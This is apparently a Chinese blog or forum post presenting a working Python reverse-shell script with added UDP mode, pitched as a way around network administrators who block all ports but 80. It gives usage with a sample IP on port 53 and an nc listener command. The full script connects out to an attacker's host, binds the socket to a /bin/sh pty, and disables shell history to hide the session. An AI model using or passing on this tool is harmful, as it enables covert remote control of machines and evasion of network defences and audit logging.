python 反弹shell,加了UDP
用来对付一些把除了80端口都封了的变态网管
用法 back.py 123.123.123.123 53 udp
nc监听:
nc -l 53 -u
后面不加udp的话还是默认的tcp
因为udp没有sequence的特性,当数据超过1个数据包的大小时会错位,具体多大会分包不太清楚,我记得是1500字节?好像和MTU有关。命令不要打太长就行了(一般情况下好像基本不会有1500个字符的命令)
其实就加了4行……
# -*- coding:utf-8 -*- #!/usr/bin/env python """ back connect py version,only linux have pty module code by google security team UDP by anthrax@insight-labs.org """ import sys,os,socket,pty shell = "/bin/sh" def usage(name): print 'python reverse connector' print 'usage: %s <ip_addr> <port> [udp]' % name def main(): if len(sys.argv) <3: usage(sys.argv[0]) sys.exit() s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) try: if sys.argv[3]=='udp': s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM) except:pass try: s.connect((sys.argv[1],int(sys.argv[2]))) print 'connect ok' except: print 'connect faild' sys.exit() os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) global shell os.unsetenv("HISTFILE") os.unsetenv("HISTFILESIZE") os.unsetenv("HISTSIZE") os.unsetenv("HISTORY") os.unsetenv("HISTSAVE") os.unsetenv("HISTZONE") os.unsetenv("HISTLOG") os.unsetenv("HISTCMD") os.putenv("HISTFILE",'/dev/null') os.putenv("HISTSIZE",'0') os.putenv("HISTFILESIZE",'0') pty.spawn(shell) s.close() if __name__ == '__main__': main()